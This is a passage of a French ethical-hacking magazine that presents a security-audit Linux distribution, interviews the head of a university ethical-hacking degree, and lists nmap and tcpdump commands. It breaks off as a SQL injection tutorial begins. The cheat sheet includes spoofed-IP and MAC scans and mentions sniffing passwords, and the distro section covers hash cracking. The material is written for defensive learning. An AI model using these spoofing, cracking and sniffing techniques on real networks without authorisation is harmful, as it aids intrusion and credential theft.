Ethical Hacking for Ladies and Gentlemen. La distribution Linux qui permet d effectuer des audits de sécurité



Documents pareils
Nmap (Network Mapper) Outil d exploration réseau et scanneur de ports/sécurité

DIGITAL NETWORK. Le Idle Host Scan

Première approche d'un outil merveilleux hping

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

2. MAQUETTAGE DES SOLUTIONS CONSTRUCTIVES. 2.2 Architecture fonctionnelle d un système communicant.

Sécurité des réseaux Les attaques

TAGREROUT Seyf Allah TMRIM

II- Préparation du serveur et installation d OpenVpn :

Devoir Surveillé de Sécurité des Réseaux

Protection des protocoles

M2-RADIS Rezo TP13 : VPN

Assistance à distance sous Windows

Les commandes relatives aux réseaux

Les clés d un réseau privé virtuel (VPN) fonctionnel

Serveur Linux : FTP. Mise en place d un service FTP sous Linux. Bouron Dimitri 20/04/2014

Guide Numériser vers FTP

Capture, Filtrage et Analyse de trames ETHERNET avec le logiciel Wireshark. Etape 1 : Lancement des machines virtuelles VMWARE et de Wireshark

L'écoute des conversations VoIP

TP SECU NAT ARS IRT ( CORRECTION )

LAB : Schéma. Compagnie C / /24 NETASQ

FILTRAGE de PAQUETS NetFilter

Tutoriel sur Retina Network Security Scanner

Réseaux. Moyens de sécurisation. Plan. Evolutions topologiques des réseaux locaux

Le Tunneling DNS. P.Bienaimé X.Delot P.Mazon K.Tagourti A.Yahi A.Zerrouki. Université de Rouen - M2SSI. 24 février 2011

Documentation utilisateur, manuel utilisateur MagicSafe Linux. Vous pouvez télécharger la dernière version de ce document à l adresse suivante :

Sécuriser son réseau. Sécuriser son réseau Philippe Weill (IPSL/LATMOS) Frédéric Bongat (SSI/GOUV/FR)

Outils d'analyse de la sécurité des réseaux. HADJALI Anis VESA Vlad

Figure 1a. Réseau intranet avec pare feu et NAT.

Mise en place d'un Réseau Privé Virtuel

Fonctionnement de Iptables. Exercices sécurité. Exercice 1

Administration UNIX. Le réseau

Configurer ma Livebox Pro pour utiliser un serveur VPN

Introduction à l'analyse réseau Philippe Latu philippe.latu(at)linux-france.org

Date : NOM Prénom : TP n /5 DISTANT : CONCEPTS ET DIFFÉRENCES

FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères

Accès aux ressources informatiques de l ENSEEIHT à distance

Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A. TP réseau firewall

Tutorial Ophcrack. I) Ophcrack en API. (ou comment utiliser Ophcrack pour recouvrir un mot de passe sous Windows XP et Windows Vista)

Résolution des problèmes de connexion XDMCP aux hôtes UNIX et Linux

ETI/Domo. Français. ETI-Domo Config FR

But de cette présentation

Installation d'un serveur DHCP sous Windows 2000 Serveur

Rappels réseaux TCP/IP

Table des matières Hakim Benameurlaine 1

Formateurs : Jackie DAÖN Franck DUBOIS Médiapôle de Guyancourt

Documentation FOG. Déploiement d images de systèmes d exploitation à travers le réseau.

Introduction. Adresses

[Serveur de déploiement FOG]

Procédure pas à pas de découverte de l offre. Service Cloud Cloudwatt

Création d'un site dynamique en PHP avec Dreamweaver et MySQL

Un peu de vocabulaire

SECURIDAY 2012 Pro Edition

Manuel d'utilisation d'apimail V3

VPN. Réseau privé virtuel Usages :

COMMENT AUTORISER LES PARTAGES RESEAUX ET IMPRIMANTE SOUS L ANTIVIRUS FIREWALL V3

Objet : Guide d'installation et de maintenance pour "My IC Phone 8082" connecté à un OmniPCX Office R810

L annuaire et le Service DNS

Stockage du fichier dans une table mysql:

Microsoft Windows NT Server

Windows sur Kimsufi avec ESXi

SECURIDAY 2013 Cyber War

Mettre en place un accès sécurisé à travers Internet

SYSTEME DE GESTION DES ENERGIES EWTS EMBEDDED WIRELESS TELEMETRY SYSTEM

Linux. Sécuriser un réseau. 3 e édition. l Admin. Cahiers. Bernard Boutherin Benoit Delaunay. Collection dirigée par Nat Makarévitch

Virtual Private Network WAFA GHARBI (RT4) CYRINE MAATOUG (RT4) BOCHRA DARGHOUTH (RT4) SALAH KHEMIRI (RT4) MARWA CHAIEB (RT3) WIEM BADREDDINE (RT3)

Installation et Réinstallation de Windows XP

TP2 - Conguration réseau et commandes utiles. 1 Généralités. 2 Conguration de la machine. 2.1 Commande hostname

Procédure d utilisation et de paramétrage (filtrage) avec IPFIRE

Les possibilités de paramétrage réseau des logiciels de virtualisation sont les suivantes quant à la connexion réseau :

Tutoriel réalisé par luo. Version du 22/02/14

Installation Windows 2000 Server

Windows Internet Name Service (WINS)

Couche application. La couche application est la plus élevée du modèle de référence.

Contrôle de la DreamBox à travers un canal SSH

TP Wireshark. Première approche de Wireshark. 1 ) Lancer Wireshark (double clic sur l icône sur le bureau). La fenêtre

CARPE. Documentation Informatique S E T R A. Version Août CARPE (Documentation Informatique) 1

AUTORISER LES PARTAGES RESEAUX ET IMPRIMANTE SOUS L'ANTIVIRUS FIREWALL PRO V1

Vulnérabilités et sécurisation des applications Web

INTRUSION SUR INTERNET

VoIP Sniffing IHSEN BEN SALAH (GL 3) MAHMOUD MAHDI (GL 3) MARIEM JBELI (RT 2) SAFA GALLAH (RT 3) SALAH KHEMIRI (RT 3) YOUSSEF BEN DHIAF (GL 3)

Manuel des logiciels de transferts de fichiers File Delivery Services

Tunnels et VPN. 22/01/2009 Formation Permanente Paris6 86

Installer VMware vsphere

Manuel de l'utilisateur

Interface PC Vivago Ultra. Pro. Guide d'utilisation

(Third-Man Attack) PASCAL BONHEUR PASCAL 4/07/2001. Introduction. 1 Domain Name Server. 2 Commandes DNS. 3 Hacking des serveurs DNS

Dynamic Host Configuration Protocol

Mise en place d un firewall d entreprise avec PfSense

DOCUMENTATION VISUALISATION UNIT

FACILITER LES COMMUNICATIONS. Le gestionnaire de réseau VPN global de Saima Sistemas

Protocoles DHCP et DNS

Artica. La déduplication. Révision Du 08 Février 2011 version

CONFIGURATION DE BASE. 6, Rue de l'industrie BP130 SOULTZ GUEBWILLER Cedex. Fax.: Tel.:

SSH, le shell sécurisé

Tutoriel d'introduction à TOR. v 1.0

HelpAndManual_unregistered_evaluation_copy GESTIONNAIRE D'ALARMES CENTRALISE OPTIM'ALARM. Manuel d'utilisation

Transcription:

HacKethiC Ethical Hacking for Ladies and Gentlemen N 1 Trimestriel Été 2009 NEW 3.50 En exclu pour HacKethiC LASCaR-OS La distribution Linux qui permet d effectuer des audits de sécurité Page 2 Injection SQL sous PHP Détecter les failles et les exploiter pour apprendre à s en protéger Page 8 Première en France la licence pro CDAISI Entretien avec Franck Ebel, le créateur de la première licence universitaire française de Hacking éthique Page 6 Mise en place d'un tunnel VPN grâce à OpenVPN utilisant SSL Page 13 Attaquant, défenseur : mêmes outils Nmap TCPDump Page 7 HPing2 L outil pour tout savoir Page 11 HacKethiC N 1 1

LASCaR-OS C0R3Y, FRESH_MEAT, R4IS3_YOUR_G0D, MASTERPRENIUM LASCaR-OS est un projet de distribution Linux live qui fournit une plateforme permettant d'effectuer des audits de sécurité sur des systèmes d'informations basés sur Linux. Présentation de la distribution et des outils. Introduction LASCaR-OS est un projet de plateforme permettant l'automatisation d'audit de sécurité. Les origines du projet sont celles d'un simple constat : pas (ou peu) d'outils existent et permettent aujourd'hui de réaliser des audits de sécurité complet d'un système d'informations. En terme de sécurité, les besoins ne cessent de croitre et la prise de conscience, notamment des entreprises rend nécessaire de connaître les forces et faiblesses de son Système d' Informations. L'intérêt de LASCaR est de fournir une interface unifiée, simple d'utilisation dans laquelle on retrouve tous les outils nécessaire à la réalisation de d'audit de sécurité. LA DISTRIBUTION Système Kernel et patchs LASCaR comporte un kernel (2.6.27) fait maison, comportant un très grand nombre de drivers pour l'ensemble du matériel existant. Ce kernel supporte bon nombre de drivers wifi patchés afin de supporter l'injection, afin de tester par exemple la sécurité d'un réseau wifi. InitRD Conjointement au kernel, l initrd a été tweaké, afin de pouvoir gérer convenablement des options nécessaires à LASCaR, telles que le réglage de la langue, ou encore l'ajout et modification de scripts permettant de différencier correctement si LASCaR boote en PXE ou si LASCaR boote sur un support amovible. Un script permet à l utilisateur de saisir sa langue et règle ainsi l'ensemble de l'environnement de LASCaR SquashFS LASCaR étant un système live, l'ensemble des fichiers de la distribution ne sont pas présents directement sur le média de démarrage. Ces fichiers de distribution se trouvent dans des fichiers compressés appelés squashfs. Ces squashfs sont montées automatiquement au démarrage et les fichiers qu'elles contiennent sont indexés (grâce à des liens symboliques). La squashfs principale (image.squashfs) est montée en ReadWrite, alors que, par exemple, la squashfs usr.squashfs qui contient bon nombre d'applications installées et autres fichiers s'y rapportant, est montée en ReadOnly. Une fois LASCaR démarré par un des deux moyens cités préalablement, on peut activer le système de boot par PXE de LASCaR, qui va créer les fichiers de configuration nécessaires, lancer les daemons DHCP, TFTP et NFS, permettant au système qui démarre d'obtenir une IP, de récupérer le chargeur d'amorçage (ici PXELinux), de récupérer les fichiers de kernel, initrd, et les squashfs. Environnement graphique CRÉATION D UNE CLÉF USB BOOTABLE LASCaR se voulant d'être accessible pour n'importe quel utilisateur, il a été nécessaire de mettre en place un environnement graphique grâce à un serveur X. Au démarrage de LASCaR, des scripts sont lancés, pour régler le fichier de configuration afin que le serveur X fonctionne correctement. Il peut cependant arriver que certaines configurations au matériel exotique empêche le fonctionnement correct du serveur X. Le pari était d'avoir à la fois un environnement léger, sans surplus, ergonomique, moderne, économe en ressources et prenant le moins de place possible. Selon ces critères, nous avons retenu un certain nombre d'environnements semblant convenir, nous les avons ensuite passés au banc de test. Après cette phase de test, nous avons décidé de choisir OpenBox comme base. OpenBox est un environnement plutôt nu, pas d'applications, pas d'icônes, il a donc été nécessaire de l'agrémenter, notamment d'un gestionnaire de fichiers.pcmanfm fait un excellent gestionnaire de fichier, il a aussi la prétention de pouvoir gérer certaines fonctionnalités telles que la gestion des icônes de bureau. Bien que l'utilisation de cette fonctionnalité ne soit pas conseillée par ses développeurs pour l'instant, elle est pourtant stable. Les retours des utilisateurs semble montrer que PCManFM fonctionne mieux que idesk dans le domaine. Note SquashFS est un système de fichiers compressé (gzip) en lecture seule sous Linux. Système de boot Il est possible de télécharger LASCaR sous forme d iso bootable sur son site, et de créer si besoin est, une clé USB bootable à partir du système live une fois celui-ci démarré. HacKethiC N 1 2 ENVIRONNEMENT GRAPHIQUE AVEC PCMANFM

LES OUTILS Audit système Test de complexité de mots de passes Avec ce module, il est possible de tester la résistance de hash à certaines méthodes de cracking. L'interface permet de choisir un fichier de mots de passe au format UNIX (de la forme utilisateur:hash), mais aussi de générer un hash directement à partir d'un mot de passe entré par l'utilisateur. Il est possible de choisir le nombre de processeurs locaux sur lesquels les calculs doivent être répartis (si l'algorithme le permet) et le niveau d'optimisation (i686, pentium3, athlon,...). Il est également possible (toujours en fonction de l'algorithme) de distribuer les calculs de bruteforce sur plusieurs machines. Une fois cette phase remplie, l'utilisateur peut choisir entre 3 méthodes : bruteforce, bruteforce par dictionnaire et table rainbow. Le bruteforce avec ou sans dictionnaire est effectué en fond avec JohnTheRipper, la distribution du bruteforce est faite avec MPI, le cracking par table rainbow est fait avec rcracki. PRINCIPE DE GÉNÉRATION DU TRACEROUTE 3D Bien sûr, les doublons d'ip sont supprimées de la liste curseur, et si une IP est déjà représentée, on la supprime également de la liste. Le calcul de coordonnées est fait en fonction des IP à représenter (sous forme de boules : vert pour le départ, rouge pour l'arrivée). Généralement ces coordonnées sont incrémentées à chaque itération. Le modèle peut ensuite subir diverses rotations (utilisation des cameras de soya3d) pour être visualiser sous un autre angle. TRACEROUTE 3D Note TEST DE COMPLEXITÉ DE MOTS DE PASSES Ces logiciels n'étant pas prévus pour être interfacés, le génération d'un rapport est plus que problématique, nous travaillons actuellement à la résolution de ces problèmes. Audit réseau Traceroute 3D Il s'agit d'une fonctionnalité déjà implémenté dans Scapy, malheureusement la fonctionnalité 3D n'est pas prise en charge sous LASCaR : al'installation de Vpython, nécessaire à cette fonctionnalité, posait problème pour le developpement de LASCaR. L'objectif de cet utilitaire est donc de fournir une fonctionnalité similaire, par le biais de soya3d. La fonctionnalité traceroute de Scapy permet entre-autre de réaliser un traceroute en 2D, mais également de sauvegarder un fichier de log. C'est en parsant ce fichier que l'on va récupérer les informations nécessaires à la construction du modèle en 3D. On récupère les adresses IP de destinations et les ports que l'on stock dans une structure de données particulières : un dictionnaire de dictionnaires de listes. Via une liste curseur, cette structure est ensuite parcourue pour obtenir les adresses par niveau et ainsi les représenter. GUI NMAP L'interface est disponible via la plateforme d'audit. Elle a été conçu de façon à être ergonomique et esthétique mais surtout simple à utiliser. On dispose naturellement de toutes les fonctionnalités d'nmap : scan de ports classique, détection de services, détection d'os, scan furtif. Python propose une librairie qui permet d'interfacer l'environnement graphique gtk avec un programme externe. Ici, nous ajoutons une surcouche à nmap afin d'en faciliter l'utilisation et surtout pour proposer un rapport d'audit complet. Nous avons un menu déroulant qui propose une liste d'options de scan par thème (tels que : «stealth scan, OS dectection...»), nous pouvons ainsi scanner des ports ou services particuliers en choisissant simplement l'entrée correspondante dans la liste. Bien sur, il est possible pour l'utilisateur d'entrer ses propres options ou ses commandes, pour peu qu'il connaisse nmap, il lui est possible d'effectuer le scanne qu'il souhaite. Pour chaque option de scan, un descriptif affiche afin d'informer l'utilisateur des opérations qui vont être effectuées, par exemple, l'option «messenger scan» précise à l'utilisateur qu'il s'agit d'un scan sur les ports 1863 ainsi que la plage 6891 à 6900 correspondant aux ports utilisés par les clients du protocole de messagerie instantanée de micro$oft. Ce qui permet à l'utilisateur non averti de savoir exactement quel scan il est sur le point d'effectuer. GUI NMAP HacKethiC N 1 3

Bien sûr l'interface permet la génération de rapports d'audit. Ce rapport, mentionne le descriptif du scan affiché par le GUI et le résultat renvoyé par nmap qui s'affiche dans le champ prévu à cet effet. Nmap et donc l'outil le plus à même d'offrir un service pertinent d'audit de vulnérabilité de services réseau en détectant les ports ouverts. L'interface disponible dans LASCaR, permet à l'utilisateur de générer un rapport clair et complet pour des services définis et avec des options précises. Note Il s'agit de proposer, à des fins d'audit, un outil qui puisse indiquer à l'utilisateur quels sont les ports et/ou services sensibles sur une machine donnée. Nous avons pris le parti d'utiliser nmap. Nmap est un outil de scan de port très puissant, il dispose de nombreuses options. Il ne s'agit pas de réinventer la roue mais de fournir une interface simple permettant d'effectuer des scans de ports de manière intuitive. Dans un premier temps, il nous faut disposer des adresses MAC des machines. Le but étant de déterminer si des ordinateurs quelconques peuvent être démarrés, il est nécessaire de couvrir toute la plage de possibilités. Nous allons donc procéder en deux étapes : D'abord nous déterminons le type de carte réseau existante à partir d'une liste de constructeurs (environ 8000 entrées) puis nous générons les adresses MAC à partir de cette information. Les trois premiers octets de la MAC sont fixés (ils correspondent au constructeur de la carte réseau ). Les derniers octets correspondent aux cartes, et sont générés automatiquement, dans l'ordre de manière à couvrir toute la plage d'adresses disponible par constructeur. Avec les MAC ainsi générées, il faut forger un «Magic Packet» à l'aide du module struct de Python. Sans entrer dans les details, ce module permet de convertir des chaines de caractères formatées en valeurs binaires. Cette méthode permet de disposer du bon encodage pour l'envoi de magic packets. On envoie ensuite ces magic packets par socket en UDP. On teste le réseau en envoyant des paquets Ethernet avant et après l'envoie des magic packets pour déterminer par comparaison si des machines ont été réveillées. WIRESHARK FILTERS Note En matière de sniffing, il existe plusieurs outils puissants et plus ou moins ergonomique, pour LASCaR nous nous sommes arrêté sur Wireshark. C'est un logiciel très puissant permettant de capturer n'importe quel fulx réseau. Cependant, il arrive que pour capturer un trafic particulier ou des paquets précis l'application de filtres soit délicate. Afin de pouvoir effectuer un analyse precise et complete du trafic réseau, une bibliothèque de filtres de sniffing a été intégrée directement dans Wireshark. Chaque filtre se présente sous la forme d'un descriptif simple qui résume l'action et il suffit de sélectionner le descriptif pour appliquer le filtre. Nous disposons de filtres de capture et de filtres d'affichage qui permettent de vérifier le trafic de façon pertinente : on peut vérifier le trafic web (mot de passe, récupération de cookies...) on peut également vérifier si du trafic est généré sur le réseau par la propagation de vers ou de virus tel que Welchia. Audit logiciel TOOLS WOL Tools FILTRES DE CAPTURE Analyse de fichier de log Il s'agit d'un outil permettant d'analyse des logs générés par auditd. Le fichier généré par le daemon auditd est en réalité une liste des appels systèmes effectués par tel ou tel processus (reconnaissable via son PID). L'idée ici est de suivre un principe simple selon lequel presque toutes les attaque par buffer overflow se déroulent en trois étapes : un exploit est exécuté un shell est lancé A terme, en analysant les logs via certaines règles, il est possible de déterminer si une attaque à eu lieu ou non. Au sein d'un système d'informations, certains ordinateurs ou serveurs peuvent être configurés pour être démarrés par le réseau. L'objectif de cet outil est de déterminer si certaines machines peuvent être démarrées à distance à l'insu de l'administrateur. Note Le Wake On Lan est une technique consistant à envoyer à la carte réseau d'un ordinateur des «magic packets». Ces paquets sont constitués de l'adresse MAC de broadcast suivie de seize répétition l'adresse MAC de la carte réseau cible. A réception de ces paquets, la carte réseau demarre la machine. Note Auditd est un démon qui permet de surveiller ce qu'il se passe au niveau du noyau Linux. Une fois activé il se met en écoute de nouvelles règles de surveillance et enregistre dans un fichier de journalisation (/var/log/audit/audit.log) tous les événements correspondants aux règles définies. La première règle est chargée de parcourir le fichier de logs et de répertorier tout les appels systèmes de type fork (c'est à dire les créations de processu) dont le champs AUID (Audit User ID, l'identifiant de l'utilisateur au moment du login) est différent de 0 (root).la seconde règle doit isoler parmis les créations HacKethiC N 1 4

de processus précédentes celles qui sont suivis d'un appel système execv. Pour cela on passe à cette règle le PID du processus. La troisième règle est chargée de retrouver les appels système setuid(0) puis le ou les appels execv (chargeant en général un shell dont l'euid est à 0). Le changement par setuid peut être détecté en observant le changement de valeur des champs uid du fichier de log (ce qui évite l'utilisation d'un appel système supplémentaire par le daemon). On se trouve ici à l'étape du chargement du shellcode. Parallèlement, on vérifie que le fichier exploité n'a pas le bit SUID. Si toutes ces conditions sont réunies, il y a de grandes chances pour que le daemon auditd est tracé l'exécution d'un exploit de buffer overflow. Cryptographie/Stéganographie Ces deux outils ont été classés plutôt dans la cathégorie divers car il ne permettent pas d'auditer directement le système. L'outil de stéganographie permet de dissimuler du texte au sein d'une image au format bmp, png ou gif. La variation des valeurs des pixels est infime ce qui complexifie l'analyse de l'image dans le but de retrouver les informations. Les modules Python-Imaging et PIL ont été utilisés pour le traitement d'image (notemment pour récupérer la valeur de composante RVB de chaque pixel). Audit ClamAv L'audit repose à la fois sur l'analyse du fichier de configuration de ClamAv et sur des tests de packing.afin d'utiliser ClamAv dans des conditions réelles, il est nécessaire de copier les deux fichiers de configuration du système hôte, clamd.conf et freshclam.conf (que l'on retrouve dans /mnt/system), dans le /etc de Lascar. Ainsi l'outil pourra utiliser le programme clamscan, installer sur Lascar, de façon locale pour effectuer les tests avec les fichiers de configuration de l'hôte. Une fois la copie effectuée, l'utilisateur peut paramétrer l'outil de façon à audi- Note ClamAv est un antivirus souple, efficace et entièrement paramétrable. Cependant son efficacité est liée à sa configuration et si celle-ci n'est pas fiable la sécurité d'un système peut être compromise. Un outil d'audit a été créé dans l'optique de remédier à ce problème en démontrant de façon simple à un utilisateur que son antivirus présente des lacunes. ter plus ou moins précisément sa configuration : il peut cocher la vérification de la présence de détection heuristique, l'analyse de la fréquence de mise à jour, ou encore la résistance face au programme packés (c'est à dire dont le contenu à été compressé/crypté dans le but de modifier sa signature).l'ensemble de l'analyse est effectuée sur les fichiers de configurations à l'exception des tests de résistance face aux packers. Ces fichiers de configurations sont parsés dans le but de retrouver les informations nécessaires. Ainsi si la fonction détection heuristique est cochée dans l'outil, celui-ci va vérifier si ce type de détection est paramétrée à yes dans clamd.conf. De même pour la fréquence des mises à jour, plus celles-ci seront espacées, moins cela rapportera de points sur le barême. Concerant ce barême, il est établit en fonction du nombre de points à audités (cases cochées par l'utilisateur). Concernant les tests effectués directement sur resistance face aux programmes packés (qu'ils s'agissent de programme elf ou pe, lancés via wine): un programme choisit par l'utilisateur est packé via UPX (pour le format pe) ou un moteur polymorphique modifié (pour l'elf et codé en C). La signature du programme ayant au préalable été ajouté dans la base de ClamAv, le résultat du scan (avec clamscan) est analysé pour en déterminer la fiabilité. Le but de ce test est de déterminer si la configuration de l'antivirus permet de détecter via ses méthodes heuristiques des virus polymorphiques (repose sur l'analyse comportementale et non sur la signature de celui-ci). Une fois l'ensemble des tests choisis effectués, une note (en %) est calculé et représentée graphiquement sur une barre de progression. OUTIL DE STÉGANOGRAPHIE L'outil de cryptographie,contrairement à la stéganographie ne dissimule pas de texte, mais le rend illisible aux yeux d'un utilisateur ne possédant pas la clé. Le module pycrypto à été utilisé ici pour crypter du texte et générer les clés.l'outil permet de crypter un fichier texte selon trois algorithme : RSA, DES, AES. L'intérêt de l'outil est la possibilité de coupler le texte crypter avec l'outil de stéganographie pour une dissimulation supérieure des données. Le cryptage selon AES ou DES est sensiblement le même et seul le nom de la fonction du module de pycrypto change. La subitilité provient du RSA qui nécessite de générer clé privée à partir de la clé publique. L'interface de l'outil se devait de resté simple pour ne pas induire l'utilisateur en erreur. De plus la clé devant être de huit bits au moins pour le DES et seize pour l'aes, Une vérification de la longueur est effectuée sur la clé entrée par l'utilisateur. AUDIT CLAMAV OUTIL DE CRYPTOGRAPHIE HacKethiC N 1 5

Autres outils Parser XML Il s'agit de l'outil utilisé pour transformer nos rapports écrits en xml en divers formats. A l'heure actuelle, seul le xhtml est supporté mais le support du pdf sera prochainement inclus. Le parser fonctionne de la manière suivante : le fichier xml est analysé caractère par caractère et les balises ainsi que leur contenu sont stockées dans une liste. La liste est ensuite parcourue et suivant les règles inscrites dans le parser, une hiérarchie par niveaux est créée. Un niveau est en fait un objet de type List qui contient un ou plusieurs champs d'informations (le plus souvent des strings) et éventuellement des objets vers les niveaux supérieurs. Pour finir, il faut parcourir cette arborescence avec des règles spécifiques au format que l'on veux générer. RR0D RR0D est un débugger en mode ring 0. Cette application système se présente sous la forme d'un module kernel et s'insère entre le matériel et le kernel (également appelé ring -1). Il permet d'intercepter tout ce qui passe entre le logiciel et le matériel, et comme il ne dépend pas de l'os, il a ses propres drivers d'entrée sortie, il est par ailleurs nécessaire de disposer d'un contrôleur ps2 ou d'une émulation ps2 dans le BIOS afin de pouvoir utiliser le clavier, car rr0d écrit directement dans le bus ps2. Afin d'appeler le débugger, il est nécessaire de lancer dans les applications l'interruption 0x03. Afin de pouvoir être compilé, rr0d nécessite de connaître certaines informations, notamment l'adresse du framebuffer. Le module est donc compilé au lancement de la distribution avec le parsage des informations du kernel et un passage à sed sur les sources. RASTA RIND ZERO DEBUGGER HTTP://RR0D.DROIDS-CORP.ORG/ Conclusion La distribution LASCaR met donc à disposition au sein d'une plateforme des outils qui permettent d'effectuer un audit complet de sécurité d'un système d'informations. La plateforme propose différents modules classés par thème afin de facilité l'utilisation. Une fois les différents tests réalisés, des rapports sont générés afin que l'utilisateur conserve les informations récoltées. Le système remplit donc complètement son objectif qui est de fournir une interface simple et des outils facile à utiliser. La distribution est aujourd'hui à l'état de release Beta 0.6C, de nombreux points restent à améliorer et certains outils sont encore à débugger. Il est possible de se procurer la distribution sur le site internet www.lascar-os.com. Il est également possible de devenir beta-testeur. Un système de tickets (trac) à été mis en place afin que nous puissions avoir des retours d'utilisation rapides et puissions corriger les bugs. Note Une première en France : la licence professionnelle CDAISI Une toute nouvelle licence professionnelle vient de naître en France à Maubeuge, antenne universitaire de l'uvhc. Nous avons rencontré le responsable de cette licence. Nous sommes accueillis par un homme, rasé, avec des lunettes et un tee shirt «I'm a social engineering expert because there's no patch for human stupidity». NoBag : Bonjour, vous êtes Ebel Franck et vous êtes responsable de cette licence professionnelle. Elle se nomme CDAISI, pouvez-vous nous expliquer la signification? Franck Ebel : C'est un peu compliqué, le nom initial devait être «ethical hacking» mais l'état d'esprit rétrograde en France, pour pouvoir etre habilité a fait que le nom est devenu CDAISI : Collaborateur pour la défense et l'anti-intrusion des systèmes informatiques. On nous a d'ailleurs au départ traité de pirates a cause du terme ethical hacking N : Pourquoi une première en France? F. E. : C'est surtout l'angle dont on l'aborde qui en fait une première en France. Le slogan est «apprendre l'attaque pour mieux se défendre». Cela explique le contenu de la formation. On apprend les attaques des pirates pour ensuite voir les contre-mesures. N : Vous avez des collaborations? F.E. : Nous sommes partenaires avec l'université d'abertay à Dundee en Ecosse qui a un cursus similaire au notre et le CPEE en belgique. De nombreux intervenants professionnels sont présent et encore plus l'année prochaine : Sysdream, Perein, Reason System, British Telecom, Jeumont electric, AXA assurances, DRASTIC, Acissi N : La première année se termine, un bilan? F.E. : 21 étudiants, 20 diplômés. Un bon taux de réussite donc. Le recrutement pour l'année prochaine est en cours. Nous avons réaménagé le programme en l'affinant par rapport aux retours des professionnels et des étudiants. N: Les étudiants CDAISI ont participés à plusieurs challenge, non? F. E. : oui, ils ont tous participés au challenge de ethical hacking de Maubeuge (http://www.salon-informatique-maubeuge.com) et une équipe a participé à la nuit du hack (http://www.nuitduhack.com). L'année prochaine, notre partenaire écossais organise lui aussi un challenge et nous serons de la partie. N : Je vois aussi que le matériel est à la pointe. F.E. : tous les PC sont neuf et changés tous les trois ans, nous nous équipons en RFID, VoIP, Bluetooth N : Pour avoir des renseignements, s'inscrire, que faire? F. E. : Il faut me contacter (franck.ebel@univ-valenciennes.fr) ou nous téléphoner (0327531770) ou aller sur le site de la fac (http://www.univ-valenciennes.fr). Site officiel du projet et téléchargement : www.lascar-os.com contact mail : LASCaRos@lascaros.com irc : #lascar on freenode HacKethiC N 1 6

Les outils de sécurité et surveillance réseau PAR PERDEREAU JÉRÉMIE Qu'on soit attaquant ou défenseur, les outils utilisés sont les mêmes. Car quand on souhaite protéger un système, il faut avant tout savoir l'attaquer. Et tout intrus voudra d'abord se protéger lui-même... Nmap Nmap est l'outil par excellence de l'intrus. Nmap est un scanner de ports créé par Fyodor. Comme son nom l'indique, il est fait pour détecter les ports ouverts, permet aussi d'identifier les services qui tournent derrière et obtenir des informations sur le système d'exploitation d'un ordinateur distant. Il est capable de scan sur une plage d'adresse ip. En gros si vous avez un serveur qui tourne sur la machine distante, alors il le trouvera. Il est disponible sous Windows, Mac OS X, Linux, BSD et Solaris. TCPDump Tcpdump est un "sniffeur de trames réseau" en ligne de commande, c'est à dire qu'il est capable de récupérer toutes les trames réseaux qui passent par une carte réseau et pas forcement en provenance ou en destination de votre carte réseau. Cela permet par exemple de récupérer un mot de passe réseau, ou une page HTML contenant des informations sensibles. Il est disponible sur la plupart des systèmes (Linux, Mac, Windows ). Pour les environnements unix il faut être root pour pouvoir l'utiliser. Voici quelques options : Voir les ports TCP ouverts, utilisation de messages SYN, il n'y a pas de création de log sur la machine cible : >>sudo nmap -ss 127.0.0.1 Voir tous les ports UDP ouverts sur une machine : >>sudo nmap -su 127.0.0.1 Pour scanner une plage d adresses. Par exemple 192.168.0 à 192.168.255: >>sudo nmap 192.168.0,.0-255 Il est possible que nmap n'arrive pas à connaître la version, dans ce cas utiliser la commande. >>sudo nmap -O osscan-guess 127.0.0.1 Scanner un port : >>nmap -p 80 127.0.0.1 Scanner une plage de ports : >>nmap -p 0-80 127.0.0.1 Désactiver la résolution DNS inverse des hôtes, augmente la rapidité : >>nmap -n 127.0.0.1 Usurper l adresse ip source. Ici on scanne 127.0.0.1, par l interface réseau eth0, en se faisant passer pour 10.0.0.0 depuis le port 80 : >>nmap -S 10.0.0.0 -g 80 -e eth0 -P0 127.0.0.1 Usurper l adresse MAC : >>nmap spoof-mac 01:02:03:04:05:06 127.0.0.1 >>nmap spoof-mac Cisco 127.0.0.1 Choisir un fichier de sortie pour y écrire les résultats du scan : >>nmap -on resultat 127.0.0.1 >>nmap -ox resultat.xml 127.0.0.1 Trace les paquets et les données envoyés et reçus. Pratique pour vérifier qu une usurpation fonctionne : >>nmap packet-trace -S 10.0.0.0 -eth0 127.0.0.1 HacKethiC N 1 7 Les options importantes : Le mode verbeux, avec différents degrés : >>sudo tcpdump -v >>sudo tcpdump -vv >>sudo tcpdump -vvv Afficher le contenu de chaque paquet capturé : >>sudo tcpdump -A Connaître les interfaces disponibles pour l'écoute : >>sudo tcpdump -D Spécifier une interface, ici eth0 : >>sudo tcpdump -i eth0 Seulement les paquets pour adresse source ou destination www.google.fr: >>sudo tcpdump host www.google.fr Seulement les paquets pour adresse destination www.google.fr : >>sudo tcpdump dst www.google.fr Seulement les paquets pour adresse source www.google.fr : >>sudo tcpdump src www.google.fr Spécifier un port, ici le port 80 : >>sudo tcpdump port 80 Spécifier un protocole, ici TCP : >>sudo tcpdump proto TCP (cf. le man pour la liste des protocoles) Additionner plusieurs filtres avec le «and» : >>sudo tcpdump dst 192.168.29.10 and port 80 ici capture des paquets qui vont vers 192.168.29.10 par le port 80. Mettre la capture dans un fichier : >>sudo tcpdump -w capture.dump Nous pourrons l'analyser après avec tcpdump par la commande qui suit ou encore l'analyser avec un logiciel tel que wireshark (Ethereal) : >>sudo tcpdump -r capture.dump

Injection SQL sous PHP / MySQL NICOLAS CROCFER Les attaques par injections SQL représentent aujourd hui une part importante dans la sécurité des sites web. En effet beaucoup de sites communiquent directement avec une base de données, que ce soit pour aller rechercher des informations sur leurs membres, stocker du contenu, etc. Introduction L article qui suit va tenter d expliquer les bases des injections SQL en utilisant le langage PHP et une base de données MySQL. Nous verrons tout d abord le principe des injections SQL, puis nous apprendrons à détecter les failles pour ensuite les exploiter, et nous verrons pour finir les moyens de protection possibles. EXPLICATIONS DE LA FAILLE Pour comprendre comment exploiter une injection SQL il faut tout d abord comprendre comment une requête SQL se fait. Examinons la requête suivante : $sql = SELECT users FROM table WHERE pseudo LIKE %$pseudo% ORDER BY NAME ; Ici nous recherchons tous les membres dont le pseudo contiendra la valeur de $pseudo, le résultat étant trié par nom. Par exemple en entrant le pseudo linux, nous pourrions avoir les résultats aalinuxbb, linuxtuto, vivelinux, etc. Un exemple d injection SQL serait ici d entrer comme pseudo la 